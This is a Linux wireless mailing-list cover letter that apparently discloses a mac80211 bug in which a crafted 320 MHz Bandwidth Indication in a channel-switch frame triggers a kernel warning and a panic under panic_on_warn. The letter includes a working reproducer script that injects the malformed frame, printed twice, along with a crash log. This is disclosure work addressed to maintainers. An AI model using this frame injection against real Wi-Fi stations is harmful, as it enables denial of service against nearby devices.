Linux wireless drivers development
 help / color / mirror / Atom feed
* [PATCH 0/1] wifi: mac80211: reject invalid 320 MHz CSA bandwidth
@ 2026-09-22 18:02 Ren Wei
  2026-09-22 18:02 ` [PATCH 1/1] " Ren Wei
  0 siblings, 1 reply; 2+ messages in thread
From: Ren Wei @ 2026-09-22 18:02 UTC (permalink / raw)
  To: linux-wireless; +Cc: johannes, michael-cy.lee, vega, caoruide123, weir

From: Ruide Cao <caoruide123@gmail.com>

Hi Linux kernel maintainers,

We found an issue in net/mac80211/spectmgmt.c.

An attacker-controlled Bandwidth Indication element can set
new_chandef.width to NL80211_CHAN_WIDTH_320 on a non-6-GHz link. In
validate_chandef_by_ht_vht_oper(), the 320 MHz switch case executes
WARN_ON(1) but does not initialize vht_oper.chan_width before passing the
structure to ieee80211_chandef_vht_oper(), which reads that byte.
Action-frame elements are parsed in the highest connection mode, so this is
reachable even on a VHT connection; an EHT beacon provides another path. A
malicious AP can repeatedly trigger kernel warnings, crash systems using
panic_on_warn, and make channel-switch acceptance depend on stale stack
contents.

Privilege model: An adjacent Wi-Fi attacker that can transmit a crafted
CSA/Bandwidth Indication frame to a station associated with the relevant
BSS can reach this path. No local login or CAP_NET_ADMIN, user namespace,
or network namespace on the victim is required; a Wi-Fi-capable transmitter
is required. The `unshare -Urn` in the reproducer below is only for the
local mac80211_hwsim test harness (namespace-local setup/injection).

Reproducer:

#!/bin/sh
set -eu

need_cmd() {
	command -v "$1" >/dev/null 2>&1 || {
		echo "missing command: $1" >&2
		exit 1
	}
}

if [ "${1:-}" != "--inner" ]; then
	need_cmd unshare
	if [ "$(id -u)" -eq 0 ] && [ -w /proc/sys/kernel/panic_on_warn ]; then
		echo 1 > /proc/sys/kernel/panic_on_warn || true
	fi
	if [ ! -r /proc/sys/kernel/panic_on_warn ] ||
	   [ "$(cat /proc/sys/kernel/panic_on_warn)" != "1" ]; then
		echo "kernel.panic_on_warn must be 1 before running this PoC" >&2
		exit 1
	fi
	SELF=$(readlink -f "$0")
	exec unshare -Urn "$SELF" --inner
fi
shift

need_cmd gcc
need_cmd hostapd
need_cmd iw
need_cmd make
need_cmd pkg-config
need_cmd python3

DIR=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)
cd "$DIR"

make >/dev/null

ip link set lo up

# Custom regdomain index 3 maps to hwsim_world_regdom_custom_04, which allows
# 80 MHz operation on 5 GHz. The built-in radios in this VM boot under world
# regdom with NO_IR, so they cannot host a VHT AP on channel 36.
./hwsim_new_radio 1 3
./hwsim_new_radio 1 3

for _ in $(seq 1 20); do
	if [ -d /sys/class/net/wlan0 ] && [ -d /sys/class/net/wlan1 ]; then
		break
	fi
	sleep 1
done

if [ ! -d /sys/class/net/wlan0 ] || [ ! -d /sys/class/net/wlan1 ]; then
	echo "failed to create two hwsim radios inside the user namespace" >&2
	exit 1
fi

trap 'test -f /tmp/r7q-hostapd.pid && kill "$(cat /tmp/r7q-hostapd.pid)" 2>/dev/null || true' EXIT

cat > /tmp/r7q-hostapd.conf <<'EOF'
interface=wlan0
driver=nl80211
ssid=testvht
hw_mode=a
channel=36
wmm_enabled=1
auth_algs=1
ignore_broadcast_ssid=0
ieee80211n=1
ht_capab=[HT40+]
ieee80211ac=1
require_vht=1
vht_oper_chwidth=1
vht_oper_centr_freq_seg0_idx=42
EOF

ip link set wlan0 up
ip link set wlan1 up

hostapd -B -P /tmp/r7q-hostapd.pid /tmp/r7q-hostapd.conf
sleep 3

iw dev wlan1 connect -w testvht 5180
iw dev wlan1 link

AP=$(iw dev wlan0 info | awk '/addr/ {print $2; exit}')
STA=$(iw dev wlan1 info | awk '/addr/ {print $2; exit}')
export AP STA

iw dev wlan0 interface add mon0 type monitor
ip link set mon0 up

python3 - <<'PY'
import os
import socket
import time


def mac(text: str) -> bytes:
    return bytes.fromhex(text.replace(":", ""))


sta = mac(os.environ["STA"])
ap = mac(os.environ["AP"])

# Minimal radiotap header + 802.11 spectrum-management action frame.
# Body:
#   category = 0 (spectrum management)
#   action   = 4 (channel switch)
#   CSA IE   = switch to channel 36, count 1
#   BW Indication extension IE with EHT width=320 on a 5 GHz link
rtap = b"\x00\x00\x08\x00\x00\x00\x00\x00"
hdr = b"\xd0\x00\x00\x00" + sta + ap + ap + b"\x00\x00"
body = (
    bytes([0, 4]) +
    bytes([37, 3, 1, 36, 1]) +
    bytes([255, 5, 135, 0, 4, 42, 42])
)
pkt = rtap + hdr + body

sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW)
sock.bind(("mon0", 0))
for _ in range(5):
    sock.send(pkt)
    time.sleep(0.1)
print("malformed CSA action frame sent")
PY

# The kernel panics asynchronously in cfg80211/mac80211 workqueue context.
sleep 5


We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.

------BEGIN PoC------

#!/bin/sh
set -eu

need_cmd() {
	command -v "$1" >/dev/null 2>&1 || {
		echo "missing command: $1" >&2
		exit 1
	}
}

if [ "${1:-}" != "--inner" ]; then
	need_cmd unshare
	if [ "$(id -u)" -eq 0 ] && [ -w /proc/sys/kernel/panic_on_warn ]; then
		echo 1 > /proc/sys/kernel/panic_on_warn || true
	fi
	if [ ! -r /proc/sys/kernel/panic_on_warn ] ||
	   [ "$(cat /proc/sys/kernel/panic_on_warn)" != "1" ]; then
		echo "kernel.panic_on_warn must be 1 before running this PoC" >&2
		exit 1
	fi
	SELF=$(readlink -f "$0")
	exec unshare -Urn "$SELF" --inner
fi
shift

need_cmd gcc
need_cmd hostapd
need_cmd iw
need_cmd make
need_cmd pkg-config
need_cmd python3

DIR=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)
cd "$DIR"

make >/dev/null

ip link set lo up

# Custom regdomain index 3 maps to hwsim_world_regdom_custom_04, which allows
# 80 MHz operation on 5 GHz. The built-in radios in this VM boot under world
# regdom with NO_IR, so they cannot host a VHT AP on channel 36.
./hwsim_new_radio 1 3
./hwsim_new_radio 1 3

for _ in $(seq 1 20); do
	if [ -d /sys/class/net/wlan0 ] && [ -d /sys/class/net/wlan1 ]; then
		break
	fi
	sleep 1
done

if [ ! -d /sys/class/net/wlan0 ] || [ ! -d /sys/class/net/wlan1 ]; then
	echo "failed to create two hwsim radios inside the user namespace" >&2
	exit 1
fi

trap 'test -f /tmp/r7q-hostapd.pid && kill "$(cat /tmp/r7q-hostapd.pid)" 2>/dev/null || true' EXIT

cat > /tmp/r7q-hostapd.conf <<'EOF'
interface=wlan0
driver=nl80211
ssid=testvht
hw_mode=a
channel=36
wmm_enabled=1
auth_algs=1
ignore_broadcast_ssid=0
ieee80211n=1
ht_capab=[HT40+]
ieee80211ac=1
require_vht=1
vht_oper_chwidth=1
vht_oper_centr_freq_seg0_idx=42
EOF

ip link set wlan0 up
ip link set wlan1 up

hostapd -B -P /tmp/r7q-hostapd.pid /tmp/r7q-hostapd.conf
sleep 3

iw dev wlan1 connect -w testvht 5180
iw dev wlan1 link

AP=$(iw dev wlan0 info | awk '/addr/ {print $2; exit}')
STA=$(iw dev wlan1 info | awk '/addr/ {print $2; exit}')
export AP STA

iw dev wlan0 interface add mon0 type monitor
ip link set mon0 up

python3 - <<'PY'
import os
import socket
import time


def mac(text: str) -> bytes:
    return bytes.fromhex(text.replace(":", ""))


sta = mac(os.environ["STA"])
ap = mac(os.environ["AP"])

# Minimal radiotap header + 802.11 spectrum-management action frame.
# Body:
#   category = 0 (spectrum management)
#   action   = 4 (channel switch)
#   CSA IE   = switch to channel 36, count 1
#   BW Indication extension IE with EHT width=320 on a 5 GHz link
rtap = b"\x00\x00\x08\x00\x00\x00\x00\x00"
hdr = b"\xd0\x00\x00\x00" + sta + ap + ap + b"\x00\x00"
body = (
    bytes([0, 4]) +
    bytes([37, 3, 1, 36, 1]) +
    bytes([255, 5, 135, 0, 4, 42, 42])
)
pkt = rtap + hdr + body

sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW)
sock.bind(("mon0", 0))
for _ in range(5):
    sock.send(pkt)
    time.sleep(0.1)
print("malformed CSA action frame sent")
PY

# The kernel panics asynchronously in cfg80211/mac80211 workqueue context.
sleep 5


------END PoC--------

----BEGIN crash log----

[  598.942311][  T161] Kernel panic - not syncing: kernel: panic_on_warn set ...
[  598.943617][  T161] CPU: 2 UID: 0 PID: 161 Comm: kworker/u16:4 Not tainted 6.12.95 #2
[  598.944775][  T161] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[  598.946556][  T161] Workqueue: events_unbound cfg80211_wiphy_work
[  598.947477][  T161] Call Trace:
[  598.947983][  T161]  <TASK>
[  598.948487][  T161]  panic+0x533/0x610
[  598.949159][  T161]  ? __pfx_panic+0x10/0x10
[  598.949879][  T161]  ? ieee80211_parse_ch_switch_ie+0x162a/0x1d30
[  598.950801][  T161]  check_panic_on_warn+0x61/0x80
[  598.951537][  T161]  __warn+0xdf/0x2e0
[  598.952138][  T161]  ? ieee80211_parse_ch_switch_ie+0x162a/0x1d30
[  598.953040][  T161]  report_bug+0x308/0x3d0
[  598.953743][  T161]  handle_bug+0x111/0x150
[  598.954417][  T161]  exc_invalid_op+0x17/0x50
[  598.955081][  T161]  asm_exc_invalid_op+0x1a/0x20
[  598.955911][  T161] RIP: 0010:ieee80211_parse_ch_switch_ie+0x162a/0x1d30
[  598.956917][  T161] Code: ff 41 83 fc 02 b8 01 00 00 00 0f 84 8c f9 ff ff 41 83 fc 03 0f 94 c0 01 c0 e9 7e f9 ff ff 83 7c 24 50 0d 0f 85 54 02 00 00 90 <0f> 0b 90 e9 1f fd ff ff 48 89 ef 48 89 4c 24 08 e8 a1 d6 0c f8 48
[  598.960118][  T161] RSP: 0018:ffffc9000164f6a0 EFLAGS: 00010246
[  598.961322][  T161] RAX: 0000000000000000 RBX: ffff88807e2b4c00 RCX: ffffc9000164f7e8
[  598.962716][  T161] RDX: 0000000000000000 RSI: 000000000000000d RDI: 00000000004f7f90
[  598.964226][  T161] RBP: ffff88801ca966d8 R08: 0000000000000001 R09: ffffc9000164f770
[  598.965732][  T161] R10: ffffc9000164f787 R11: 1ffff1102085d361 R12: 000000000000143c
[  598.967238][  T161] R13: ffffc9000164f748 R14: ffffc9000164f9d7 R15: ffffc9000164f9b8
[  598.968946][  T161]  ? __pfx_ieee80211_parse_ch_switch_ie+0x10/0x10
[  598.970111][  T161]  ? srso_alias_return_thunk+0x5/0xfbef5
[  598.971121][  T161]  ? __pfx__ieee802_11_parse_elems_full+0x10/0x10
[  598.972088][  T161]  ? srso_alias_return_thunk+0x5/0xfbef5
[  598.972898][  T161]  ? srso_alias_return_thunk+0x5/0xfbef5
[  598.973737][  T161]  ieee80211_sta_process_chanswitch+0x28e/0x38f0
[  598.974697][  T161]  ? srso_alias_return_thunk+0x5/0xfbef5
[  598.975512][  T161]  ? __pfx_ieee80211_sta_process_chanswitch+0x10/0x10
[  598.976508][  T161]  ? __pfx_mark_lock+0x10/0x10
[  598.977247][  T161]  ? hlock_class+0x4e/0x130
[  598.977908][  T161]  ? srso_alias_return_thunk+0x5/0xfbef5
[  598.978782][  T161]  ? __lock_acquire+0x1249/0x3c40
[  598.979590][  T161]  ? srso_alias_return_thunk+0x5/0xfbef5
[  598.980398][  T161]  ? srso_alias_return_thunk+0x5/0xfbef5
[  598.981248][  T161]  ieee80211_sta_rx_queued_mgmt+0x2215/0x2e20
[  598.982140][  T161]  ? srso_alias_return_thunk+0x5/0xfbef5
[  598.982957][  T161]  ? lock_acquire.part.0+0x119/0x370
[  598.983771][  T161]  ? __pfx_ieee80211_sta_rx_queued_mgmt+0x10/0x10
[  598.984713][  T161]  ? srso_alias_return_thunk+0x5/0xfbef5
[  598.985531][  T161]  ? skb_dequeue+0x116/0x1a0
[  598.986187][  T161]  ? __pfx_lock_release+0x10/0x10
[  598.986972][  T161]  ? _raw_spin_unlock_irqrestore+0x57/0x80
[  598.987840][  T161]  ? srso_alias_return_thunk+0x5/0xfbef5
[  598.988760][  T161]  ? srso_alias_return_thunk+0x5/0xfbef5
[  598.989597][  T161]  ieee80211_iface_work+0x888/0xb70
[  598.990352][  T161]  ? rcu_is_watching+0x12/0xc0
[  598.991073][  T161]  cfg80211_wiphy_work+0x312/0x450
[  598.991882][  T161]  process_one_work+0x855/0x1ac0
[  598.992749][  T161]  ? __pfx_lock_acquire.part.0+0x10/0x10
[  598.993823][  T161]  ? __pfx_process_one_work+0x10/0x10
[  598.994641][  T161]  ? srso_alias_return_thunk+0x5/0xfbef5
[  598.995468][  T161]  worker_thread+0x4f4/0xd60
[  598.996214][  T161]  ? __pfx_worker_thread+0x10/0x10
[  598.996939][  T161]  kthread+0x27e/0x350
[  598.997542][  T161]  ? _raw_spin_unlock_irq+0x28/0x50
[  598.998301][  T161]  ? __pfx_kthread+0x10/0x10
[  598.999083][  T161]  ret_from_fork+0x31/0x70
[  598.999741][  T161]  ? __pfx_kthread+0x10/0x10
[  599.000468][  T161]  ret_from_fork_asm+0x1a/0x30
[  599.001232][  T161]  </TASK>
[  599.002136][  T161] Kernel Offset: disabled
[  599.002862][  T161] Rebooting in 86400 seconds..


-----END crash log-----

Best regards,
Ruide Cao

Ruide Cao (1):
  wifi: mac80211: reject invalid 320 MHz CSA bandwidth

 net/mac80211/spectmgmt.c | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)


base-commit: 24ef02f934eeb48830cff6b739abc3c62b1d107b
-- 
2.47.3

^ permalink raw reply	[flat|nested] 2+ messages in thread

end of thread, other threads:[~2026-09-22 18:02 UTC | newest]

Thread overview: 2+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-09-22 18:02 [PATCH 0/1] wifi: mac80211: reject invalid 320 MHz CSA bandwidth Ren Wei
2026-09-22 18:02 ` [PATCH 1/1] " Ren Wei

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox